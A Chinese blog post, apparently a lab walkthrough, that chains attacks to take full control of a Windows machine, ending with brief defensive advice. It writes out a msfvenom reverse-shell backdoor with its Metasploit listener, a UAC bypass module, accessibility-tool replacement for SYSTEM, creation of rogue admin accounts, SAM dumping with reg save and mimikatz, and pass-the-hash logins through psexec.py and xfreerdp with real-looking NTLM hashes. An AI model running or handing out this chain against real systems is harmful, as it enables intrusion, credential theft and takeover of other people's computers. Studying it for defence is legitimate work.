Windows 权限获取攻略:你的Windows,安全吗?

本篇讲的是全流程获取windows的所有权限

并且可获取其中的全部隐私信息

以提醒各位注意自己的电脑数据安全


0.思路与步骤

  • 建立任意shell交互(最难)

  • 得到低权限用户

  • 得到高权限用户(非管理员模式)

  • 高权限用户绕过UAC

  • 得到高权限用户的高权限(管理员模式)

  • 得到SYSTEM权限(最简单)

  • 得到目标用户的数据

  • 全程均需要处理杀软,杀软的不稳定性过高不在本次讨论范围内。


1.建立任意shell交互

有两种方案:从网络中攻入、从物理上攻入

1.1.本地手段(电脑不在手上时)

这里演示从物理上攻入的方案

  • UAC已自动绕过,UAC不能防止来自物理上直接的输入。

  • 本次演示将会直接获取高权限用户,因此跳过了低权限用户的可选步骤。

    • 有时候对低权限用户的隔离不充分,使其能够接触、修改到高权限用户的部分文件(点名steam)会造成严重后果,此处不展开

1.1.1.得到SYSTEM权限

采用经典的辅助功能替换成cmd直接获得system权限。

image

创建新的用户以方便攻击

此处需要注意不能直接替换密码,会丢失重要数据

1.1.2.已经开启bitlocker的解决方法

搜狗输入法破解登陆密码漏洞复现_哔哩哔哩_bilibili


1.2.网络手段

内网渗透测试:初探远程桌面的安全问题 - FreeBuf网络安全行业门户

msf-Msfvenonm生成后门木马_msfmsfvenom-CSDN博客

网络中攻入的方案除了一些漏洞(例如永恒之蓝之类的)和弱口令之外,也就是钓鱼和诱导下载了,实际上钓鱼和诱导下载更加普遍。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.130 lport=6666 -f exe -o testx64.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.130
set LPORT 6666
run

1.2.1.家庭版额外问题

windows的家庭版始终禁止外部的rdp链接。

但是可以升级为专业版。

不需要重装不会丢失数据。

https://www.bilibili.com/video/BV1se411g78q

image

并未实测。

1.2.2.获得低权限用户

常见于从网页攻击,获得的是WWW用户权限,此处不讲解。

1.2.3.低权限用户提权到管理员用户

各显神通,这不是个简单的活儿,但如果有漏洞这步就会变得非常简单。

此处同样不讲解。

1.2.4.管理员用户bypassUAC,获得管理员权限

msf利用bypassuac提权,创建新用户 - FreeBuf网络安全行业门户

即使是管理员用户,并不代表我们获得了管理员权限,UAC是阻止我们在本次测试中获取管理员权限的罪魁祸首,没有管理员权限仍然没有用。

use exploit/windows/local/bypassuac
set session 1
run

由于我的版本过高(Windows Server 2019),这个exploit已经失效,因此这部分也是各位各显神通。

1.2.5.1.管理员权限到system权限

image
24.cnblogs.com/blog/3336551/202412/3336551-20241226161217090-912981383.png)

最简单的一步。管理员到system几乎是不设防。

1.2.5.2.另一种获取system权限的方案

本来以为这样可以获得目标用户权限的,没想到直接拿system了。

但是这需要管理员的NTLM,所以是不经意间得到的产物。

Impacket脚本利用指南(上) - 先知社区 (aliyun.com)

工具原理解析

内网渗透测试瑞士军刀-impacket工具解析(五) - FreeBuf网络安全行业门户

psexec.py Administrator@192.168.111.134 -hashes:69943c5e63b4d2c104dbbcc15138b72b

这里需要的hash需要hashdump获得。


2.创建高权限管理员模式用户(可选)

net user t 1 /add
net localgroup administrators t /add

2.1.创建/获取模拟的目标攻击用户(已预创建)

net user target qr85kJ19XH9jOvV /add
net localgroup administrators target /add

image


3.得到目标(target)用户权限

即使我们已经拿到了整个电脑的最高权限(SYSTEM),可以畅通无阻的对整个计算机进行修改、拿取flag,但若是需要目标系统的某个用户权限,这还没有完成。

windows存在针对用户的加密机制,例如我们的浏览器密码,就是这样保存的

CryptProtectData 函数 (dpapi.h) - Win32 apps | Microsoft Learn

实际上,直接获取ntlm,然后解密Master key,再用它解密各种加密文件,这似乎也是一条道路,但我并未找到相关研究资料,因此还是需要通过登录到目标用户的方式获取权限。

3.1.字典、爆破、社工直接获得密码

md5在线解密破解,md5解密加密 (cmd5.com)

有时候,一些软件会在电脑内存储明文或混淆密码,他们会说:“当电脑被攻破时,不管怎样的安全措施都是没有用的”,殊不知,他们正是最后一道防线被摧毁的原因。

另一个原因则是通用密码,如果明文存储的密码刚好是windows密码,那就畅通无阻了。

拿到哈希直接得到密码,这非常简单,但不是本次的重点。

3.2.tscon SYSTEM权限任意切换

内网技巧-RDP劫持及利用hash登录 - 先知社区 (aliyun.com)

刚刚已经获得了SYSTEM权限,在system权限下,切换用户无需目标的密码,当然这需要目标用户必须已经登录过,可以处于断开状态,但是不能注销。

但是本次实验中,用户没有登录,因此无法使用这种方法。

3.3.PTH hash登录

红队攻防之hash登录RDP-CSDN博客

域渗透-横向移动(PTH) - FreeBuf网络安全行业门户

域渗透-凭据传递攻击(pass the hash)完全总结 - 卿先生 - 博客园 (cnblogs.com)

使用PTH跳转到我们真正需要攻击的用户

3.3.1.本地方案:使用Mimikatz

实际上远程也是可以用Mimikatz的,以及这种保存注册表再读取的方法可以换成直接读取,都是一样的。

cd /D C:\Users\t\Desktop\新建文件夹\x64
reg save HKLM\SYSTEM system
reg save HKLM\SAM sam

mimikatz.exe
privilege::debug
lsadump::sam /sam:sam /system:system
sekurlsa::pth /user:root /domain:workspace /ntlm:46e2544d3eec3cea9b2a1118c669fd80 
# sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:69943c5e63b4d2c104dbbcc15138b72b "/run:mstsc.exe /restrictedadmin"
# 在windows中进行连接
mstsc.exe /restrictedadmin

获得的rdp配合参考资料里面的步骤继续完成,这里不展开了(因为写到一半文稿发现不打本地了)

对了,本地rdp链不了本地。所以需要另一个机器外链。

或者不嫌麻烦的话可以玩玩这个:

stascorp/rdpwrap: RDP Wrapper Library (github.com)

3.3.2.远程方案

# 检查rdp是否开启状态
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber 
# 开启rdp
use post/windows/manage/enable_rdp
set session 1
exploit
# 开启管理员受限模式(PTH RDP基础)
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 获取hash,直接在session里面跑就行了。
hashdump
run windows/gather/smart_hashdump
xfreerdp /p:qr85kJ19XH9jOvV /u:target /v:192.168.111.137:3389 /tls-seclevel:0 /timeout:80000
xfreerdp /pth:46e2544d3eec3cea9b2a1118c669fd80 /u:target /v:192.168.111.137:3389 /tls-seclevel:0 /timeout:80000

image

image


总结

  1. 御敌千里之外,防御的重中之重往往就在前几道防线,一个病毒如何接触到自己,低权限用户和管理员用户天差地别。没有漏洞很难攻破这两层。

  2. 防病毒被我手动关闭了,但是防病毒只能防住一部分,若是使用学习版软件,报毒也是正常的,这个时候如果忽略的话可能会出事(也只是可能而已)

  3. 系统的更新是防护的重要手段,大家应该都知道漏洞经常有版本限制,我在绕过UAC的时候也挨了一下。

  4. bitlocker虽然声名不好,被誉为“数据杀手”,但在了解其中情况之后,仔细记录恢复代码,可以防御来自本地的攻击。当然觉得没必要的话也是另一种选择罢了。

posted @   Timmoc  阅读(26)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示